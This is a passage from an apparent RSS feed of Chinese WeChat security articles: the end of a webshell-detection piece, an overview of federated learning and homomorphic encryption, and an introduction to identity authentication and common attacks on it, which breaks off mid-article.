2em;">可以识别异常的类，在结果中会显示所有运行的类以及危险等级，比较高的可以进入目录查看代码进行分析，在java目录下或class文件夹下会保存木马以及运行的类，可以用D盾等webshell查杀工具进行扫描。</section><p>（3）arthas-boot.jar工具</p><section style="text-indent: 2em;">是阿里开源的Java诊断工具，可以实时监控jvm状态。mbean命令可查看可疑的servlet和filter节点，sc命令可以查看JVM已加载的类信息，若有可疑的类，可通过jad命令反编译得到源码进行排查。</section><p>四、总结</p><section style="text-indent: 2em;">总的来说，无论是常见的Webshell，还是经过加密、编码、拼接等混淆的Webshell变形、内存马等，都需要利用Web应用的各种漏洞进行上传，如命令执行、反序列化RCE、文件上传等等，Webshell一旦被上传，无论通过流量、文件特征进行检测并查杀，都只是应急手段，无法从根源上防止攻击。</section><section style="text-indent: 2em;">因此，最好的防护方法就是加强边界防护，减少暴露在外的应用漏洞。但是目前0day漏洞频出，边界突破手段防不胜防，因此，许多安全厂商和互联网大厂都在研究RASP技术，该技术通过注入应用程序内部实现安全防护，对比其他检测方法来说，它可以在程序通过Webshell执行恶意命令前对其进行检测和阻断，但该技术的应用目前仍在起步阶段，未来随着RASP技术的发展，针对Webshell的检测与防护可能会有新的突破。</section><p><br/></p><p><br/></p>



<p><a href="2247483967">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5f28b300&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247483967%26idx%3D1%26sn%3De9c5889129660c5f8b4df34732e7b43f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 04 Jan 2022 11:48:00 +0800</pubDate>
    </item>
    <item>
      <title>联邦学习——打破数据孤岛，建立安全的数据生态</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247483942&amp;idx=1&amp;sn=c29eb68a439f6ed82b2c2ef8fa3aa665</link>
      <description>我们正处在万物互联的人工智能时代，大数据驱动的人工智能推动着各个行业快速发展，但是事实上在大多数行业中，数据是以孤岛的形式存在的，联邦学习技术，能够在数据孤岛之间架设桥梁，成为在满足数据安全下解决数据孤岛的一个可行方案。</description>
      <content:encoded><![CDATA[<p>
<span>Q、嘉壹</span> <span>2021-12-08 09:50</span> <span style="display: inline-block;"></span>
</p>

<p>我们正处在万物互联的人工智能时代，大数据驱动的人工智能推动着各个行业快速发展，但是事实上在大多数行业中，数据是以孤岛的形式存在的，联邦学习技术，能够在数据孤岛之间架设桥梁，成为在满足数据安全下解决数据孤岛的一个可行方案。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=aca68604&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nLY6NLHNe4ibiazLMniadGla8mvY4ZxUPuUZtP1F4KUdYVNNdicgcvwKq7Nm2jianIFVialBK3Mv1aTRzXg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 20px;">一、联邦学习背景和意义</span></p><section style="text-indent: 2em;">我们正处在万物互联的人工智能时代，大数据驱动的人工智能推动着各个行业快速发展，但是事实上在大多数行业中，数据是以孤岛的形式存在的，由于隐私保护、行业竞争、数据资产利益冲突等诸多问题，使得同行业下不同公司甚至是同公司不同部门之间的数据整合成为难题。联邦学习技术，能够在数据孤岛之间架设桥梁，成为在满足数据安全下解决数据孤岛的一个可行方案。</section><p style="margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 20px;">二、联邦学习概述</span></p><section style="margin-bottom: 10px;"><span style="font-size: 18px;">2.1 联邦学习的定义</span></section><section style="text-indent: 2em;">联邦学习是一种机器学习技术。传统的机器学习需要将客户端的数据上传至服务器进行训练，用户数据的隐私成为了一个大问题。在联邦学习中服务器端将训练程序下发到客户端，客户的数据就在客户端计算下降的梯度和损失，或者是模型的参数，并上传至服务器，服务器将来自各个客户端的数据整合，更新模型的参数，这样就完成了训练的一次迭代，经过若干次迭代之后模型训练成功。即数据不出本地的情况下，各方进行数据联合训练，建立共享的机器学习模型。</section><p><shape type="#_x0000_t75" filled="f"><imagedata title="image1"></imagedata></shape></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5761226725082147" data-s="300,640" style="" data-type="png" data-w="913" src="https://wechat2rss.xlab.app/img-proxy/?k=34e4e8d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLY6NLHNe4ibiazLMniadGla8mu4F2CuW0s47KFvdKM1hFOR5LuwbloAq7ibsE0wFM3oqa4mmo7eMLrmg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 10px;"><span style="font-size: 18px;">2.2 联邦学习的特点</span><br/></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p>各方数据都保留在本地，不泄露隐私也不违反法规；</p></li><li><p style="">各个参与者联合数据建立虚拟的共有模型，并且共同获益的体系；</p></li><li><p style="">在联邦学习的体系下，各个参与者的身份和地位相同；</p></li><li><p style="">联邦学习的建模效果和将整个数据集放在一处建模的效果相同，或相差不大；</p></li><li><p style="">迁移学习是在用户或特征不对齐的情况下，也可以在数据间通过交换加密参数达到知识迁移的效果。</p></li></ul><p style="margin-bottom: 10px;"><span style="font-size: 18px;">2.3 联邦学习在机器学习技术中的地位</span></p><section style="text-indent: 2em;">将机器学习按照是否进行隐私保护的维度进行划分，集中式机器学习的代表是基于硬件的TEE（可信执行环境），其技术实现被叫做SGX（英特尔实现）。基于硬件的技术是在CPU的层面上进行加密和解密，要求数据持有方将数据送入物理机集群中。分布式机器学习有两种技术路线，为了保护数据隐私，第一种方案是加密原始数据后进行运行，无论后续如何操作，底层数据均不可见。第二种思路是加密中间结果，由于原始数据集可能会很大，加解密过程长导致运算效率会很低。所以不加密原始数据，而是加密两个机器学习算法进行交换的中间结果。通过加密中间结果的方式来隐藏原始数据，这就是联邦学习的主要思想。</section><p>      </p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.462890625" data-s="300,640" style="" data-type="png" data-w="1024" src="https://wechat2rss.xlab.app/img-proxy/?k=7e084594&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLY6NLHNe4ibiazLMniadGla8mMLwG7jZZdAZOo7I4XWxicBNNyXj9DzropDFR0TyqHb19NnOdiamTrETQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 10px;"><span style="font-size: 18px;">2.4 联邦学习对加密技术的使用</span><br/></p><section style="text-indent: 2em;">目前，主流的联邦学习多用同态加密技术。同态加密的主要思路是需要把未加密的数据送到运算方，但想在运算方不知道数据具体内容的前提下，让其对数据进行运算。在同态加密中，对经过同态加密的数据进行处理得到一个输出，将这一输出进行解密，最终其结果与用同一方法处理未加密的原始数据得到的输出结果是一样的。也就是说同态加密是一种不需要访问数据本身就可以加工数据的方法</section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p>同态加密</p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.45036764705882354" data-s="300,640" style="" data-type="png" data-w="1088" src="https://wechat2rss.xlab.app/img-proxy/?k=6167d3da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLY6NLHNe4ibiazLMniadGla8mkcLMXWjombFXlE5JerScaFL6gGPaSniaEYRkowVEFR20iccHIkTOge0A%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;">图中，用Alice和Cloud模拟云场景下的同态加密过程。<br/></section><section style="text-indent: 2em;">Alice对数据进行加密。并把加密后的数据发送给Cloud；</section><section style="text-indent: 2em;">Alice向Cloud提交数据的处理方法，这里用函数f来表示；</section><section style="text-indent: 2em;">Cloud在函数f下对数据进行处理，并且将处理后的结果发送给Alice；</section><section style="text-indent: 2em;">Alicex对数据进行解密，得到结果。</section><section style="text-indent: 2em;">严格来说，目前实现的联邦学习只能称作半同态加密，F只能实现加法（全同态要求F还能实现乘法)</section><p style="margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 20px;">三、联邦学习分类</span></p><section style="text-indent: 2em;">我们将以孤岛数据的分布特点为依据对联邦学习进行分类。考虑有多个数据拥有方，每个数据拥有方各自所持有的数据集 D_i 可以用一个矩阵来表示。矩阵的每一行代表一个用户，每一列代表一种用户特征。同时，某些数据集可能还包含标签数据。如果要对用户行为建立预测模型，就必须要有标签数据。我们可以把用户特征叫做 X，把标签特征叫做 Y。比如，在金融领域，用户的信用是需要被预测的标签 Y；在营销领域，标签是用户的购买愿望 Y；在教育领域，则是学生掌握知识的程度等。用户特征 X 加标签 Y 构成了完整的训练数据（X，Y）。但是，在现实中，往往会遇到这样的情况：各个数据集的用户不完全相同，或用户特征不完全相同。具体而言，以包含两个数据拥有方的联邦学习为例，数据分布可以分为以下三种情况：<span style="caret-color: transparent;"></span></section><ol class="list-paddingleft-2" style="list-style-type: lower-roman;"><li><p>两个数据集的用户特征（X1,X2,…）重叠部分较大，而用户(U1, U2…)重叠部分较小；</p></li><li><p>两个数据集的用户(U1, U2…)重叠部分较大，而用户特征（X1,X2,…）重叠部分较小；</p></li><li><p>两个数据集的用户(U1, U2…)与用户特征（X1,X2,…）重叠部分都比较小。</p></li></ol><section style="text-indent: 2em;"><span style="text-indent: 2em;caret-color: transparent;">为了应对以上三种数据分布情况，我们把联邦学习分为横向联邦学习、纵向联邦学习与联邦迁移学习。</span><br/></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p>横向联邦学习</p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6469135802469136" data-s="300,640" style="" data-type="png" data-w="405" src="https://wechat2rss.xlab.app/img-proxy/?k=6bfe1881&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLY6NLHNe4ibiazLMniadGla8mlTKBdffGR9MoCDibZ2AFnbNkVI09CvXXMwv3fl3wpd4u9yeXdOIBc2w%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;">在两个数据集的用户特征重叠较多而用户重叠较少的情况下，我们把数据集按照横向(即用户维度)切分，并取出双方用户特征相同而用户不完全相同的那部分数据进行训练。这种方法叫做横向联邦学习。比如有两家不同地区银行，它们的用户群体分别来自各自所在的地区，相互的交集很小。但是，它们的业务很相似，因此，记录的用户特征是相同的。此时，就可以使用横向联邦学习来构建联合模型。Google 在 2017 年提出了一个针对安卓手机模型更新的数据联合建模方案：在单个用户使用安卓手机时，不断在本地更新模型参数并将参数上传到安卓云上，从而使特征维度相同的各数据拥有方建立联合模型的一种联邦学习方案。<br/></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p>纵向联邦学习</p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6550868486352357" data-s="300,640" style="" data-type="png" data-w="403" src="https://wechat2rss.xlab.app/img-proxy/?k=bd6f2a7f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLY6NLHNe4ibiazLMniadGla8mAIInvDnHL5nPrVo5ibob9Y3XjuibsvNVh7ZCW7mNgEkxpXPnWZ3nibcqg%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;">在两个数据集的用户重叠较多而用户特征重叠较少的情况下，我们把数据集按照纵向（即特征维度）切分，并取出双方用户相同而用户特征不完全相同的那部分数据进行训练。这种方法叫做纵向联邦学习。比如有两个不同机构，一家是某地的银行，另一家是同一个地方的电商。它们的用户群体很有可能包含该地的大部分居民，因此用户的交集较大。但是，由于银行记录的都是用户的收支行为与信用评级，而电商则保有用户的浏览与购买历史，因此它们的用户特征交集较小。纵向联邦学习就是将这些不同特征在加密的状态下加以聚合，以增强模型能力的联邦学习。目前，逻辑回归模型，树型结构模型和神经网络模型等众多机器学习模型已经逐渐被证实能够建立在这个联邦体系上。<br/></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p>联邦迁移学习</p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.638095238095238" data-s="300,640" style="" data-type="png" data-w="420" src="https://wechat2rss.xlab.app/img-proxy/?k=5adc8ab5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLY6NLHNe4ibiazLMniadGla8mcE0l4Gc6sXjNdwZKPuTWa18uWvN77CRUcY3RraWbPNdJg0S6lc2F9w%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;">在两个数据集的用户与用户特征重叠都较少的情况下，我们不对数据进行切分，而可以利用迁移学习来克服数据或标签不足的情况。这种方法叫做联邦迁移学习。比如有两个不同机构，一家是位于中国的银行，另一家是位于美国的电商。由于受到地域限制，这两家机构的用户群体交集很小。同时，由于机构类型的不同，二者的数据特征也只有小部分重合。在这种情况下，要想进行有效的联邦学习，就必须引入迁移学习，来解决单边数据规模小和标签样本少的问题，从而提升模型的效果。<br/></section><p style="margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 20px;">四、联邦学习框架</span></p><section style="text-indent: 2em;">以包含两个数据拥有方（企业A和企业B）的场景为例，出于数据隐私和安全考虑，A 和 B 无法直接进行数据交换。此时，可使用联邦学习系统建立模型，系统架构由两部分构成，如下图所示。</section><p><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4357864357864358" data-s="300,640" style="text-align: center;white-space: normal;" data-type="png" data-w="693" src="https://wechat2rss.xlab.app/img-proxy/?k=74522a71&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLY6NLHNe4ibiazLMniadGla8my45hHsehfqMcsrQrJI715CoDkz8E1MEZhVdicSeloJN9ATEmad6516g%2F640%3Fwx_fmt%3Dpng"/></p><section style="text-indent: 2em;">第一部分：加密样本对齐。由于两家企业的用户群体并非完全重合，系统利用基于加密的用户样本对齐技术，在 A 和 B 不公开各自数据的前提下确认双方的共有用户，并且不暴露不互相重叠的用户。以便联合这些用户的特征进行建模。</section><section style="text-indent: 2em;">第二部分：加密模型训练。在确定共有用户群体后，就可以利用这些数据训练机器学习模型。为了保证训练过程中数据的保密性，需要借助第三方协作者 C 进行加密训练。以线性回归模型为例，训练过程可分为以下 4 步：</section><ol class="list-paddingleft-2" style="list-style-type: lower-roman;"><li><p>协作者 C 把公钥分发给 A 和 B，用以对训练过程中需要交换的数据进行加密；</p></li><li><p>A 和 B 之间以加密形式交互用于计算梯度的中间结果；</p></li><li><p>A 和 B 分别基于加密的梯度值进行计算，同时 B 根据其标签数据计算损失，并把这些结果汇总给 C，C 通过汇总结果计算总梯度并将其解密；</p></li><li><p>C 将解密后的梯度分别回传给 A 和 B；A 和 B 根据梯度更新各自模型的参数。</p></li></ol><section style="text-indent: 2em;">迭代上述步骤直至损失函数收敛，这样就完成了整个训练过程。在样本对齐及模型训练过程中，A 和 B 各自的数据均保留在本地，且<span style="caret-color: transparent;">训练中的数据交互也不会导致数据隐私泄露。</span><span style="caret-color: transparent;">因此，双方在联邦学习的帮助下得以实现合作训练模型。</span></section><section style="text-indent: 2em;"><span style="caret-color: transparent;">第三部分：</span><span style="caret-color: transparent;">效果激励。</span><span style="caret-color: transparent;">联邦学习的一大特点就是它解决了为什么不同机构要加入联邦共同建模的问题，即建立模型以后模型的效果会在实际应用中表现出来，并记录在永久数据记录机制（如区块链）上。</span><span style="caret-color: transparent;">提供的数据多的机构会看到模型的效果也更好，这体现在对自己机构的贡献和对他人的贡献。</span><span style="caret-color: transparent;">这些模型对他人效果在联邦机制上以分给各个机构反馈，并继续激励更多机构加入这一数据联邦。</span></section><section style="text-indent: 2em;">以上三个步骤的实施，即考虑了在多个机构间共同建模的隐私保护和效果，又考虑了如何奖励贡献数据多的机构，以一个共识机制来实现。所以，联邦学习是一个“闭环”的学习机制。</section><p style="margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 20px;">五、联邦学习应用实例</span></p><section style="text-indent: 2em;">要平衡数据孤岛与数据隐私之间的关系是联合建模面临的挑战。从图中可以看到，联合建模的效果最好，但是隐私保护的难度最高。定制和通用建模比较简单，但是精度一般。联邦学习综合了两方的优点，可以在有效保护隐私的前提下达到较好的模型效果，且模型难度较低。</section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.39765625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d6c98a9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLY6NLHNe4ibiazLMniadGla8mkm8M9LNa5fzicEcgqjRyBjmxbSNaYU8v1Ribn8hX5hAnBvibXTNpaN6jw%2F640%3Fwx_fmt%3Dpng"/></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p>微众银行FATE模型<br/></p></li></ul><section style="text-indent: 2em;">图为微众银行FATE联邦学习模型原理架构图，微众银行和腾讯进行联合建模，在底层是无法进行数据交互的。在进行联邦学习之前，双方需要先对齐样本，而后通过同态加密共享中间结果。如此以来，双方的数据不需要出私有域，也更好地保护数据安全。而且整个操作是远程的，无需驻场，高效便捷，能够实现模型的快速迭代。</section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.713436385255648" data-s="300,640" style="" data-type="png" data-w="841" src="https://wechat2rss.xlab.app/img-proxy/?k=7b73c3c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nLY6NLHNe4ibiazLMniadGla8mjibHZCKzLfk0uZsTB3kHDnmNdEC8bcSUAgcGyaOlrxQn2wfbqlxhib4g%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 10px;margin-top: 10px;"><span style="font-size: 20px;">六、未来展望</span><br/></p><section style="text-indent: 2em;">基于联邦学习的智能风控有利于促进基于数据安全联合建模的AI技术应用落地，更好地支撑消费金融行业的价值创造，并提升此类行业的风险控制能力。同时可以通过联邦学习提升金融科技公司对金融机构各项业务的服务能力。目前，联邦学习已实现可参与至风控流程各环节，包括反欺诈、白名单初筛、信贷预审、贷中和贷后预警评分等，根据业务企业及机构需求，可进行多维度合作。后续，联邦学习将通过深入信贷风控审核主流程，进一步用联邦建模渗透到信审各环节，实现数据隐私保护下的数据连接及合作。</section>



<p><a href="2247483942">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e595e88a&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NDY3NjcxOA%3D%3D%26mid%3D2247483942%26idx%3D1%26sn%3Dc29eb68a439f6ed82b2c2ef8fa3aa665%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 08 Dec 2021 09:50:00 +0800</pubDate>
    </item>
    <item>
      <title>身份鉴别浅析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&amp;mid=2247483909&amp;idx=1&amp;sn=516bfa2a460c6a92798d967259c3a1e4</link>
      <description>身份鉴别的目的是向参与方证明自己的身份，而基于鉴别的结果，可以信息共享、实现授权管理和访问控制，这些在日常生活中都不可或缺。身份鉴别技术是用户数据和隐私保护的第一道防线，防止未经授权，对数据和账户的访问。</description>
      <content:encoded><![CDATA[<p>
<span>兰博</span> <span>2021-12-02 18:42</span> <span style="display: inline-block;"></span>
</p>

<p>身份鉴别的目的是向参与方证明自己的身份，而基于鉴别的结果，可以信息共享、实现授权管理和访问控制，这些在日常生活中都不可或缺。身份鉴别技术是用户数据和隐私保护的第一道防线，防止未经授权，对数据和账户的访问。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=86c809fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nICCianGadkicjmXjSfXTXQFD4AOjxqKUtEKE6AowvmFEiajCALIg0U75fEIc4cX1zFqtgmhP1XoxWoQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-indent: 2em;">身份鉴别的目的是向参与方证明自己的身份，而基于鉴别的结果，可以信息共享、实现授权管理和访问控制，这些在日常生活中都不可或缺。身份鉴别技术是用户数据和隐私保护的第一道防线，防止未经授权，对数据和账户的访问。</section><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 20px;">一、概念</span></p><section style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="text-indent: 28px;">鉴别（Authentication）常与另外两个词认证（Certification）和标识（Identification）一起被提起，三者经常被混淆使用。</span><span style="text-indent: 28px;">认证是证实某特定实体具有某种或某些属性，更进一步是证实某个属性到达一定预设程度，是三方的交易；</span><span style="text-indent: 28px;">标识是在一定范围内，唯一能够区分各个实体的命名体系或方法，标识是认证的产出，例如身份证、设备ID等；</span><span style="text-indent: 28px;">鉴别通常指身份鉴别，即，获知通信对方的身份标识并验证的过程，是两方的交易。</span><span style="text-indent: 28px;">在中文环境中，有时候也用“身份认证”来表示“身份鉴别”。</span><span style="text-indent: 28px;">进一步，有数据源鉴别，即，在通信过程中，获知数据生成方或发送方的身份标识并验证的过程。</span></section><section style="text-indent: 2em;"><span style="text-indent: 28px;"></span></section><section style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 20px;">二、身份鉴别方式</span></section><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="text-indent: 28px;">身份鉴别主要利用something you have、something you know、something you are这三个方面实现，常见的身份鉴别有口令鉴别、SocialAuthenticcation、生物特征鉴别、基于可信设备的身份鉴别和多因素身份鉴别等。</span><span style="text-indent: 28px;">口令鉴别的方式有两种，一种是熟悉的数字口令、另一种是图形口令，口令鉴别的安全性依赖于口令的保密性和复杂度，很容易遭受弱口令攻击、暴力破解攻击、涂抹攻击和</span>肩<span style="text-indent: 28px;">窥攻击等。</span><span style="text-indent: 28px;">Sosial鉴别是通过关联的社交人际关系对用户进行身份鉴别，比如当微信被锁时，需要几个好友发送消息帮忙解锁，这样的鉴别方式使得这种身份鉴别方法的适用范围很小。</span><span style="text-indent: 28px;">FiDO U2F鉴别器、智能卡和早期的USB-Key等这些需要额外硬件设备的身份鉴别方式被统一归类到基于可信设备的身份鉴别。</span><span style="text-indent: 28px;">生物特征鉴别方式是利用用户独一无二的生物特征来鉴别用户身份，常见的有大家熟知的指纹、虹膜和面部识别，这些都属于生物特征鉴别里的生理特征鉴别方式。</span><span style="text-indent: 28px;">近两年，由于持续性身份鉴别逐渐受到重视，行为特征用于身份鉴别也被人熟知，虽然行为特征的身份鉴别准确率比生理特征低，但是不需要额外的硬件设备，可以持续性的鉴别也是行为特征的优势。</span></p><section style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 20px;">三、常见攻击方法</span></section><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="text-indent: 28px;">针对身份鉴别，常见的攻击类型有被动攻击、主动攻击、暴力破解攻击、字典攻击、重放攻击、中间人攻击和并行会话攻击等。</span></p><p style="text-indent:28px;"><span style="font-family:Wingdings;">Ø</span>被动攻击</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span>攻击者无法与通信任一参与方交互</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span>攻击者可以根据获取到的通信数据破坏通信过程</p><p style="text-indent:28px;"><span style="font-family:Wingdings;">Ø</span>主动攻击</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span>攻击者可以干涉通信，改变会话内容</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span> 攻击者可能创建、伪造、更改、替换、阻止或重放通信会话内容</p><p style="text-indent:28px;"><span style="font-family:Wingdings;">Ø</span>暴力破解攻击</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span>通过猜测可能构成密码的所有组合，测试密码的正确性</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span> 随着密码的长度增加，找到正确密码的时间开销也会逐步增加</p><p style="text-indent:28px;"><span style="font-family:Wingdings;">Ø</span>字典攻击</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span>相比于暴力破解攻击，字典攻击的猜测范围更精准（常见弱口令、系统/设备默认口令）</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span>成功率较高，因为很多人的密码习惯使用单一、简单的密码</p><p style="text-indent:28px;"><span style="font-family:Wingdings;">Ø</span>重放攻击</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span>恶意重复或延迟有效数据</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5153508771929824" data-s="300,640" style="" data-type="png" data-w="456" src="https://wechat2rss.xlab.app/img-proxy/?k=53c043f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nICCianGadkicjmXjSfXTXQFDjNlqAdRqJka62ibIQjRJAtBsI0GOO1a79gibVk97GMu81ZmgOOQFJHJg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;"><span style="font-family:Wingdings;">Ø</span>中间人攻击</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span>攻击者恶意重放甚至改变双方之间的通信内容，让通信双方误以为他们正在直接通信</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3242320819112628" data-s="300,640" style="" data-type="png" data-w="586" src="https://wechat2rss.xlab.app/img-proxy/?k=84df2db7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nICCianGadkicjmXjSfXTXQFDePG0S2Bmn9HSWIJj4aI3O9RbFAfQn7e4Ww5z2IQDuosxjwvO8tqiaDQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-indent:28px;"><span style="font-family:Wingdings;">Ø</span>并行会话攻击</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span>同时执行两个或多个会话</p><p style="margin-left:48px;text-indent:28px;"><span style="font-family:Wingdings;">u</span>从一个会话中截取到的信息被用于另一个会话中</p><p style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="text-indent: 28px;">针对多个身份鉴别协议的一系列攻击，需要制定一套安全标准以避免此类攻击，我们用基本的协议来举例说明。协议2-1允许B对A进行身份验证；中间人攻击、重放攻击。协议2-2允许相互认证；A、B的动作都是相同的操作，所以很好重放，就可以让A帮攻击者解密信息。修改2-2为协议2-3，A必须证明他有能力解密当前值；B必须证明他有能力加密，入侵者不能再将一方误用为oracle“解密服务器”，但是，当A的服务器支持双向鉴别，可同时作为发起/响应方，并且每一个会话使用单独的TCP处理线程，通常而言线程之间不会相互比较，2-3会受到并行会话攻击。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5067155067155067" data-s="300,640" style="" data-type="png" data-w="819" src="https://wechat2rss.xlab.app/img-proxy/?k=545f04de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F9ic0mFdBia4nICCianGadkicjmXjSfXTXQFDyfP4ibs7FKXQXmCbD1jMkibAclFibSPTCnpficvg1ia8IDSMxLFlea2o1rg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: justify;text-indent: 2em;"><span style="text-indent: 28px;">协议2-3中能被并行会话攻击的原因是对N1和N2的加密操作是相同的，即N1与E(N1)的关系，和N2与E(N2)的关系相同，所以在由A启动的协议中运行的值可以用于由B启动的协议运行，不同方向的加密表达式必须是非对称的，协议2-4中，引入异或操作，作为发起方or响应方，能力/动作不一样，即N1与E(N1 xorB)的关系，不同于N2与E(N2)的关系。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/9ic0mFdBia4nICCianGadkicjmXjSfXTXQFDcGEGUJicicp601ANRiamg4wAJXt8vSLGEbGIY3RJTbO46KPhQDuuqfpxg/640?wx_fmt=png" data-cropx1="2.5906735751295336" data-cropx2="750" data-cropy1="18.134715025906736" data-cropy2="216.32124352331604" data-ratio="0.2647058823529412" data-s="300,640" style="width: 577px;height: 153px;" data-type="jpeg" data-w="748" src="https://wechat2rss.xlab.app/img-proxy/?k=ddf6bc77&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F9ic0mFdBia4nICCianGadkicjmXjSfXTXQFDMpfV0uTvVZhhdVZKCpVL5SjdjYjO64A5xCibFdkTMmhy6XtB1DZjuhw%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-indent:28px;">但其实，2-4换汤不换药，也很容易被利用，异或操作的特性导致攻击能够成功。</p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 20px;">四、移动设备近距离身份鉴别</span></p><section style="margin-top: 10px;margin-bottom: 10px;text-indent: 2em;"><span style="text-indent: 28px;">这些基本协议，又是怎么用在实际应用的呢？</span><span style="text-indent: 28px;">随着移动设备用户的普及，移动设备之间的交互也越来越频繁。</span><span style="text-indent: 28px;">这些交互一般有有线和无线两种方式，使用有线进行交互要求用户在通信时必须携带数据线，且由于市场上移动设备的种类有很大差异，数据线的接口适配范围也需要考虑，可适用性较差。</span><span style="text-indent: 28px;">相比这种方式，利用无线（例如移动网络数据、wifi和蓝牙）进行移动设备之间的通信，成本低，不需要额外的硬件，是比较经济实用的通信方式。</span></section><section 